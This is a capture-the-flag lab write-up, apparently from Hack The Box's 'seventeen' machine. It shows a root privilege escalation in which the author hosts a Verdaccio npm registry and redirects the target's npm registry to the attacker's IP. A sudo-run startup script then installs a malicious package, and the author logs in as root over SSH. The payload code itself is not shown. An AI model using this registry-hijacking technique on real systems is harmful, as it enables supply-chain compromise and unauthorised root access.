Malicious npm Package Upload


As discovered previously, the new staff management system that is under the development becomes operational with the /opt/app/startup.sh script, which does check and install 2 packages, db-logger and loglevel. I was unable to execute the bash script initially due to the privilege limitation as the mark user. It was later then executed successfully with the sudo privileges of the kavi user

Due to the sudo privileges of the kavi user, the process is then executed with privileges of the root user. This allows attackers an opportunity to escalate privileges by hijacking the npm registry to an attacker controlled registry where a malicious npm packages is being hosted for deployment.

In order to exploit the misconfiguration, the following conditions are required;

  1. npm registry that I control, hosting the payload
  2. Malicious npm package (payload)
    • package structure
    • package generation
    • package publishing
  3. The global registry in the target system is set to my registry

Hosting a Verdaccio Registry with Docker


┌──(kali㉿kali)-[~/archive/htb/labs/seventeen]
└─$ docker run -it --entrypoint "/bin/sh" -p 4873:4873 --name seventeen ubuntu
# apt update -y ; apt upgrade -y ; apt install -y net-tools netcat nano gcc gcc-multilib make git npm
 
[...REDACTED...]
 
done.

Since I don’t want to pollute my system with tons of packages, I will get it up and running through a Docker container

# cd root
# npm i -g verdaccio@5.6.0
npm WARN deprecated har-validator@5.1.5: this library is no longer supported
npm WARN deprecated uuid@3.4.0: Please upgrade  to version 7 or higher.  Older versions may use Math.random() in certain circumstances, which is known to be problematic.  See https://v8.dev/blog/math-random for details.
npm WARN deprecated w3c-hr-time@1.0.2: Use your platform's native performance.now() and performance.timeOrigin.
npm WARN deprecated request-promise-native@1.0.9: request-promise-native has been deprecated because it extends the now deprecated request package, see https://github.com/request/request/issues/3142
npm WARN deprecated request@2.88.0: request has been deprecated, see https://github.com/request/request/issues/3142
 
added 285 packages, and audited 286 packages in 17s
 
16 packages are looking for funding
  run `npm fund` for details
 
11 vulnerabilities (6 moderate, 5 high)
 
To address all issues (including breaking changes), run:
  npm audit fix --force
 
Run `npm audit` for details.

Now, on to installing verdaccio 5.6.0 npm marks it “deprecated” as verdaccio 5.6.0 is rather old and the installed npm and node are much newer npm also picked 11 vulnerabilities This doesn’t matter much as the purpose of all these is just to deliver the payload

# verdaccio --listen 0.0.0.0:4873 &
 warn --- config file  - /root/verdaccio/config.yaml
(node:8173) Warning: Verdaccio doesn't need superuser privileges. don't run it under root
(node:8173) Warning: Verdaccio doesn't need superuser privileges. don't run it under root
 warn --- Plugin successfully loaded: verdaccio-htpasswd
 warn --- Plugin successfully loaded: verdaccio-audit
 warn --- http address - http://0.0.0.0:4873/ - verdaccio/5.6.0

Starting the instance on the 0.0.0.0:4873 socket over HTTP Since the host’s port 4873 and the Docker container’s port 4873 are tunnel, the verdaccio instance should be accessible on any interface of port 4873 on the host system

I also put & at the end to send the process to the background, so that I can still use the terminal

Confirmed. 10.10.14.13 is the tuno interface on the host system

verdaccio instance is all set

Payload


Refer to the payload

Global Registry


kavi@seventeen:~$ nano .npmrc
kavi@seventeen:~$ cat .npmrc
registry=http://10.10.14.13:4873/
 
kavi@seventeen:~$ npm config set registry http://10.10.14.13:4873 ; npm config get registry
http://10.10.14.13:4873/

Changing the registry environment variable to point to the Kali’s verdaccio instance set.

Delivery


kavi@seventeen:~$ sudo -u root /opt/app/startup.sh
[=] Checking for db-logger
[+] db-logger already installed
[=] Checking for loglevel
[+] Installing loglevel
/opt/app
├── loglevel@2.0.5 
└── mysql@2.18.1 
 
[+] Starting the app
/opt/app/index.js:26
        logger.log("info:  Server running on port " + port)
               ^
 
typeerror: logger.log is not a function
    at server.<anonymous> (/opt/app/index.js:26:16)
    at object.oncewrapper (events.js:313:30)
    at emitnone (events.js:106:13)
    at server.emit (events.js:208:7)
    at emitlisteningnt (net.js:1394:10)
    at _combinedtickcallback (internal/process/next_tick.js:135:11)
    at process._tickcallback (internal/process/next_tick.js:180:9)
    at function.module.runmain (module.js:695:11)
    at startup (bootstrap_node.js:188:16)
    at bootstrap_node.js:609:3

Executing the sudo command indeed pulls the payload from the kali’s verdaccio instance and installs it. The command also starts the app but it exits out with an error as it’s unable to find the log() function. That is perfectly normal as I did not specify such function in the payload

Checking the log from the kali’s verdaccio instance confirms the pull request from the target system along with the code 200 This likely means that the payload was executed and I can SSH to the target system as the root user using my own SSH key

┌──(kali㉿kali)-[~/archive/htb/labs/seventeen]
└─$ ssh root@$IP -i ~/.ssh/id_ed25519
enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-177-generic x86_64)
 
 * documentation:  https://help.ubuntu.com
 * management:     https://landscape.canonical.com
 * support:        https://ubuntu.com/advantage
 
  system information as of wed jun 21 01:37:21 UTC 2023
 
  system load:                    0.15
  usage of /:                     59.7% of 11.75GB
  memory usage:                   47%
  swap usage:                     0%
  processes:                      347
  users logged in:                1
  ip address for eth0:            10.10.11.165
  ip address for br-3539a4850ffa: 172.20.0.1
  ip address for docker0:         172.17.0.1
  ip address for br-b3834f770aa3: 172.18.0.1
  ip address for br-cc437cf0c6a8: 172.19.0.1
 
 
18 updates can be applied immediately.
12 of these updates are standard security updates.
to see these additional updates run: apt list --upgradable
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
 
root@seventeen:~# whoami
root
root@seventeen:~# hostname
seventeen
root@seventeen:~# ifconfig
br-3539a4850ffa: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.20.0.1  netmask 255.255.0.0  broadcast 172.20.255.255
        ether 02:42:48:7c:5d:43  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-b3834f770aa3: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:ff:1b:b6:aa  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-cc437cf0c6a8: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.19.0.1  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:75:72:0d:77  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:bc:23:29:ca  txqueuelen 0  (Ethernet)
        RX packets 117  bytes 685423 (685.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 112  bytes 11511 (11.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.165  netmask 255.255.254.0  broadcast 10.10.11.255
        ether 00:50:56:b9:d1:5a  txqueuelen 1000  (Ethernet)
        RX packets 6081  bytes 2174573 (2.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5445  bytes 984379 (984.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 48538  bytes 4127194 (4.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 48538  bytes 4127194 (4.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth0535f71: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether ca:74:32:b4:9b:a8  txqueuelen 0  (Ethernet)
        RX packets 117  bytes 687061 (687.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 112  bytes 11511 (11.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth0bcd743: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 22:43:c0:e0:3c:bf  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth3bc2ee9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 72:fc:45:59:9e:4a  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth690fca6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether ba:db:2b:1f:af:21  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth6b29374: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 0a:41:74:12:11:75  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth717d310: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 76:57:68:93:b3:da  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth76bd24e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether a6:ca:96:65:ce:98  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth8c908ec: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether de:39:ed:29:3a:5f  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
vethd8c93bb: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 3e:2a:a5:04:97:b9  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
vethe397036: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 6a:5f:a7:d3:66:0d  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
vethe3f27b5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether ce:47:28:ed:64:73  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3  bytes 190 (190.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
vethfa2e2f9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether c6:49:b5:4f:b0:e0  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise